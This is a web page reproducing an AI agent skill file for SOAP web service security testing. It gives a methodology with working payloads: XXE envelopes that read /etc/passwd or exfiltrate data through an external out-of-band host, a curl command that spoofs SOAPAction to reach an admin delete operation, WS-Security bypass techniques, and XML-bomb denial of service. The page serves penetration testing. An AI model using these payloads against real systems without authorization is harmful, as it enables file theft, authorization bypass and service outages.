Soap api security

From xalgorix/xalgorix · View interactive version

Soap api security is an AI agent skill from the GitHub repository xalgorix/xalgorix. SOAP web service security testing — WSDL analysis, XXE and XML injection, SOAPAction spoofing, WS-Security bypass, XPath injection, and entity-expansion abuse with fault-and-data differential evidence

How to use this skill

Skill file

SOAP Web Service Security Testing

Purpose

Exploit SOAP services: XML attacks through the envelope (XXE, XPath/XSLT injection, entity expansion), operation routing confusion (SOAPAction spoofing), and WS-Security implementation failures.

Preconditions

Attack Surface Signals

Methodology

Step 1: WSDL Reconnaissance

curl -sk "https://TARGET/service?wsdl" > tmp/service.wsdl
# Extract operations, parameters, and namespaces
grep -o 'name="[^"]*"' tmp/service.wsdl | sort -u
python3 - <<'PY'
import re
wsdl = open('tmp/service.wsdl').read()
for op in re.findall(r'<wsdl:operation name="([^"]+)"', wsdl):
    print(op)
PY

The WSDL enumerates every operation including undocumented internal ones. Do not re-enumerate the surface here — consume reconnaissance output.

Step 2: XXE

<!-- Classic file read -->
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><op><param>&xxe;</param></op></soap:Body>
</soap:Envelope>
<!-- Blind OOB when output is suppressed -->
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "https://OOB.oast.pro/x.dtd"> %dtd;]>

Confirmed by file contents in the response or an OOB callback with the exfiltrated data — never by parse errors alone. Test every operation and every XML parameter, plus headers that reach the parser.

Step 3: SOAPAction Spoofing

# Send operation A's body with operation B's SOAPAction (or none in SOAP 1.2,
# where the action moves to the Content-Type). Mismatched routing can bypass
# per-action authorization on some stacks.
curl -sk -X POST "https://TARGET/service" \
  -H "Content-Type: text/xml" -H 'SOAPAction: "urn:AdminDeleteUser"' \
  -d '<soap:Envelope>...(normal-user operation body)...</soap:Envelope>'

A finding requires the routed-to operation actually executing for an unauthorized caller — a Fault is a miss.

Step 4: WS-Security Bypass

- strip the entire Security header: does the operation still execute?
- empty UsernameToken (empty username/password)
- replay expired or forged Timestamp elements (Created/Expires never validated)
- digest password with known nonce: reuse or forge the Nonce+Created combination
- signature wrapping: move the signed body and inject unsigned modifications

A real bypass returns a successful SOAP body (no Fault) WITHOUT valid credentials — a rejection Fault means the control held.

Step 5: Injection in XML Context

Step 6: Entity-Expansion Abuse (XML bombs)

Billion-laughs / quadratic blowup: nested internal entities multiplying to
exponential expansion. Confirm the service processes the document (delay or
resource exhaustion differential vs a benign document of equal transport
size). Many stacks cap expansion — a rejected document is a miss.

Evidence Contract

NOT evidence: SOAP Faults (validation working), WSDL disclosure alone, parse errors, the service accepting well-formed XML

Common Misses

False Positives / Non-Findings

Xalgorix Tool Strategy

Stopping Rule

Every operation from the WSDL x every XML parameter and security header x XXE/SOAPAction/WS-Security/injection vectors.

Handoff

Report operation, envelope payload, confirmation method (file contents, OOB interaction, executed state change), and SOAP version. WS-Addressing-based server-side fetches chain into api-ssrf.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.